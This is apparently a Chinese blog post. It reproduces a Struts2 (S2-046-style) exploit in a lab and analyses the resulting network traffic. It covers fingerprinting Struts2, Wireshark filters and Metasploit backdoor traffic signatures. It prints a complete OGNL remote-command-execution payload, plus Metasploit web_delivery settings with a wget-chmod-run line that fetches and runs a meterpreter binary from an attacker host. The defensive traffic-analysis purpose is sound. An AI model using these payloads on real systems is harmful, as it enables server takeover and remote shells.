struts2漏洞

一、指纹识别

s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名

部署在根目录下,工程名可为空;当然namespace名称也可设置为空;拓展名也可设置为空。

方法一
(1)url会有.action或.do后缀文件名(eg:http://192.168.xx.xx/integration/editGangster.action) #但是不准确,因为spring框架或jboss框架有可能也存在.do文件
(2)在.action等接口后追加actionErrors参数或者输入错误路径,s2应用会触发报错,通过网页回显报错信息判断。s2常见报错关键词:no action mapped、org.apache.struts2.views.jsp、namespace、no result defined for action等 #spring报错关键词一般含有whitelabel Error Page等 方法二
在URL添加/struts/domTT.css,返回css代码 #在工程名后路径添加,就是网站根目录下,返回结果如下图一 方法三
在url每层路径前添加一个错误路径,如果回显相同结果则是s2,不同结果则是spring框架 #按照s2框架规则,层层向上查找action,但是存在nginx时nginx规则优先。

图一如下

二、漏洞利用的流量分析

1.使用检测工具

使用工具检测wireshark:
tcp.port == 2001 && http #首先筛选特殊端口加协议
http.request.method == POST # 查看请求方法为post的数据
http.request.code >= 400 #查看响应码为200
ip.src == 192.168.0.112 #指定源IP为攻击ip,查看data数据

2.使用手工注入

1.sumbit发送
2.使用bp抓包
3.构造payload内容如下:
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
4.修改hex构造00截断 #如下图

wireshark语句查找:
# 未发包前先看一下目标ip的数据 ip.dst == 192.168.0.110 #结果显示无
# bp在send后,再次查看目标ip数据 ip.dst == 192.168.0.110 #如下图一
http contains "/doUpload" #如下图二

图一如下

图二如下

三、getshell的流量分析

使用msf进行getshell

1.使用exp模块生成个payload   #该模块表示在本地开启一个端口,目标机在访问攻击机该端口时,会将该端口内的文件读取至本地执行。
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

生成payload:
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj; chmod +x Tw2nth14; ./Tw2nth14& disown 将上述payload进行改造(;替换成&&)
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj&& chmod +x Tw2nth14&& ./Tw2nth14& disown

getshell

追踪它的目标ip以及源ip流
ip.dst == 192.168.0.110 && http #112发送payload数据到110成功

msf(108攻击机)与目标主机(110目标主机)建立连接

追踪流:ip.src == 192.168.0.108 && ip.dst == 192.168.0.110 && tcp.port == 1234

Data: 653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4…
000c29a70a60000c29461c210800450000b44c81400040066b98c0a8006cc0a8006e04d2e3ce877c0d962d59db35801801f5fa8100000101080a4f51a65401d43497653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4934e0530fb9b0bc5a8397ccf0a3cad5073c4ab7f0ae695a177ca7f8217a426b3e070424b771e4cf1d3cb2ee08d41a0079b81ddbbc53fde242c239771da4d012af8a514c5b0f26eee8103ea9ad0171f20ef2006813535f900d8f5dbc5

四、msf后门流量特征

msf后门三种类型:
协议:tcp、http、https
位数:默认生成后门32位(windows/shell/reverse_tcp),但是可以生成64位(windows/x64/shell/reverse_tcp)
模式:shell、meterpreter
连接:正向、反向(bind reverse) 以下用windows举例:
tcp流量:
eg:windows/shell/reverse_tcp
该流量包特征:异常端口持续传输数据、shell后门明文传输(在追踪流中可查看具体命令)
可以直接看到命令用于反制
eg:windows/meterpreter/reverse_tcp #如下图一
该流量包特征:异常端口持续传输数据、meterpreter后门进行加密
exe文件:文件头16进制是MZ开头 http流量:
数据包特征:固定请求和响应模板
请求模板包括UA、host、Connection、Cache-Control
响应模板包括content-Type、Connection、Server、Content-Length 后门set编码模块,在特征上与不编码有一定区别(比如文件体开头部分MZ ../等特征替换成.. .. ..等)但是数据包依旧有如上特征。 https流量:
server hello的JA3值固定 6523.... /22...

图一如下

五、参考文献:

红队第2篇:区分Spring与Struts2框架的几种新方法-腾讯云开发者社区-腾讯云 (tencent.com)

Struts2框架漏洞总结与复现(下)_s2-029-CSDN博客

https://github.com/abc123info/Struts2VulsScanTools #漏洞利用工具

msf中exploit的web_delivery模块 - 白桦林_HK - 博客园 (cnblogs.com)

msf后门流量分析_msf meterpreter流量检测-CSDN博客

红日复现为什么失败之struct-046流量分析加msf特征总结的更多相关文章

  1. CVE-2020-2883漏洞复现&&流量分析

    CVE-2020-2883漏洞复现&&流量分析 写在前面 网上大佬说CVE-2020-2883是CVE-2020-2555的绕过,下面就复现了抓包看看吧. 一.准备环境 靶机:win7 ...

  2. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  3. CVE-2020-2555漏洞复现&&流量分析

    CVE-2020-2555漏洞复现&&流量分析 一.准备环境 windows7: weblogic 12.2.1.4.0 JDK版本为jdk-8u261 关于weblogic搭建可以看 ...

  4. 10 个强大的开源 Web 流量分析工具(转帖)

    Web 流量分析工具多不胜数,从 WebTrends 这样专业而昂贵的,到 Google Analytics 这样强大而免费的,从需要在服务器端单独部署的,到可以从前端集成的,不一而足.本文收集并介绍 ...

  5. 两款HTTP流量分析工具HttpWatch与Fiddler的比较(转)

    最近突然想看看HTTP的消息到底是怎么回事,在网上搜了几款软件来监控,并且搜到了下面的文章,感觉介绍的不错,就copy下来了.下文摘自:http://www.imkevinyang.com/2009/ ...

  6. 【迎圣诞,拿大奖】+流量分析+Writeup分享

    太菜了太菜了,刚见到jsfuck时竟然不知道什么东西,自己都不敢说自己做过实验吧上的那道jsfuck题了. 进入正题: 首先解压发现两个文件,一个流量分析包,哇哇哇,我正好刚学了几天wireshark ...

  7. CTF MISC-USB流量分析出题记录

    USB流量分析 USB接口是目前最为通用的外设接口之一,通过监听该接口的流量,可以得到很多有意思的东西,例如键盘击键,鼠标移动与点击,存储设备的明文传输通信.USB无线网卡网络传输内容等. 1.USB ...

  8. 开源流量分析系统 Apache Spot 概述(转)

    原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...

  9. 流量分析系统----讲解-echarts模拟迁移(结合china.js)

    百度 Echarts 地图->模拟迁徙,实现自动切换地图 小航哥注释: 1.本文主要是把模拟迁移的流程讲了一遍,讲的很好.具体实现参考航哥这篇随笔“流量分析系统----实现-echarts模拟迁 ...

  10. 网络流量分析——NPMD关注IT运维、识别宕机和运行不佳进行性能优化。智能化分析是关键-主动发现业务运行异常。科来做APT相关的安全分析

    科来 做流量分析,同时也做了一些安全分析(偏APT)——参考其官网:http://www.colasoft.com.cn/cases-and-application/network-security- ...

随机推荐

  1. bridge模式下 所有容器的 网关 都是 宿主机docker0网卡的ip

    bridge模式下 所有容器的 网关 都是 宿主机docker0网卡的ip

  2. 使用docker-compose快速部署Prometheus+grafana环境

    由于最近公司服务频繁出问题,老板很生气,下面的人都很不好过,于是老大让加一下业务监控,来观察线上数据状态.但是由于qa环境数据量太少,所以自己搭建了一套环境做相关监控,并且写了个脚本模仿生产上的数据, ...

  3. Qt编写推流综合应用示例-文件推流

    一.功能特点 1.1 文件推流 指定网卡和监听端口,接收网络请求推送音视频等各种文件. 实时统计显示每个文件对应的访问数量.总访问数量.不同IP地址访问数量. 可指定多种模式,0-直接播放.1-下载播 ...

  4. Qt编写可视化大屏电子看板系统25-模块3设备监控

    一.前言 设备监控主要用来实时监测制造零件等使用的设备的工作运行状态,每个设备都有对应的需要.分组名称.分组编号.设备名称.文字1.文字2.工作状态(1-开机 2-待机 3-维护 4-空),不同的工作 ...

  5. Qt音视频开发6-ffmpeg解码处理

    一.前言 采用ffmpeg解码,是所有视频监控开发人员必备的技能,绕不过去的一个玩意,甚至可以说是所有音视频开发人员的必备技能.FFmpeg是一套可以用来记录.转换数字音频.视频,并能将其转化为流的开 ...

  6. Centos7安装VNCserver,并设置为开机自启动服务的方法

    参考链接: 1.How To Install and Configure VNC Remote Access for the GNOME Desktop on CentOS 7 2.Centos7作为 ...

  7. LetsTalk_Android中引导用户加入白名单图

    --------------------------------

  8. 跟着源码学IM(十一):一套基于Netty的分布式高可用IM详细设计与实现(有源码)

    本文由will分享,个人博客zhangyaoo.github.io,原题"基于Netty的IM系统设计与实现",有修订和重新排版. 1.引言 本文将要分享的是如何从零实现一套基于N ...

  9. IIS上开启反向代理实现Vue项目接口跨域处理

    通常情况下的Vue应用都使用Nginx部署,Nginx有专门的反向代理设置,但若将Vue应用部署在IIS中,针对Vue应用中设置的接口跨域,IIS需要进行反向代理设置. 跨域的设置分为开发环境和生产环 ...

  10. AI Editor 真的被惊到了

    引言 AI 辅助编程工具层出不穷,也尝试过不少 AI 编程辅助工具,但效果都不太理想,提示的代码命中率并不高,但却严重影响了编码的流畅性,并且聊天对话的时候,多数都需要手动引用代码,即使引用了代码,也 ...